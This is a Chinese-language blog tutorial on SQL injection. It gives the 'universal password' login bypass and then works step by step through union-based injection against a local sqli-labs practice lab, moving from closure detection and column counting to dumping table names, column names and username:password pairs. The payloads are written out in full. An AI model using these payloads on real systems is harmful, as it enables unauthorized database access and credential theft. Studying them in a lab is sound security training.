SQL注入(持续更新中)

SQL注入原理

1、定义

定义:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2、基本方式

sql注入可以绕过后台登录直接进入数据库,从而得到所需要的用户数据等重要数据,可以得到相关服务器密码进入服务器达到入侵的目的。

sql注入之万能密码

万能密码如下:

select * from user where uname=1' or 1=1#

其中第一个1后面有个单引号,改符号为闭合符号,最后有一个 #号为注释符号
其中需要注意的是闭合符号'、"、')、")。
常见的注释符号有:#、--+、--空格。

联合注入查询

需要用到sql-labs环境练习,可以百度搭建环境。

1、判断闭合符号

注意这里我们使用--+注释符号,不能使用#
在这里插入图片描述
我们在url框输入

http://127.0.0.1/Less-1/?id=1

下面的数据会出现变化
在这里插入图片描述
这就是最普通的注入
可以在1右边加闭合符号,如果不对会出现如下报错。
在这里插入图片描述

2、判断列数

加上order by 1--+(1可以变换,数值越大列越多,试到报错为止)

http://127.0.0.1/Less-1/?id=1' order by 1--+

在这里插入图片描述
可以判断出有3列

3、开始联合查询

如下

127.0.0.1/Less-1/?id=0' union select 1,2,3--+

在这里插入图片描述
爆出数值2,3。即可在该位置插入所需语句进行下一步查询。

127.0.0.1/Less-1/?id=0' union select 1,2,database()--+

在这里插入图片描述
查询到所需数据表显示在3,位置。

4、爆数据表

知道了表名就可以爆出数据表的值了,hhhh。
首先数据表里面有一个大数据库information_schema,里面包含所有数据表。下面列出个语句作用:
group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成。
table_name表名
information_schema.tables包含所有库的表名
table_schema数据库名
整体代码如下

http://127.0.0.1/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述

5、爆字段

新语句
information_schema.columns包含所有表的字段
column_name列名
爆位置2如下

127.0.0.1/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

在这里插入图片描述
也可以爆位置3

127.0.0.1/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

6、爆值

127.0.0.1/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

在这里插入图片描述
级得到我们需要的数据了,hhh。一到四关方法一致。

第二关无闭合符号

在这里插入图片描述

第三关闭合符号为’)

在这里插入图片描述

第四关闭合符号为")

在这里插入图片描述

发布了3 篇原创文章 · 获赞 3 · 访问量 101

猜你喜欢

转载自blog.csdn.net/weixin_46148324/article/details/104593271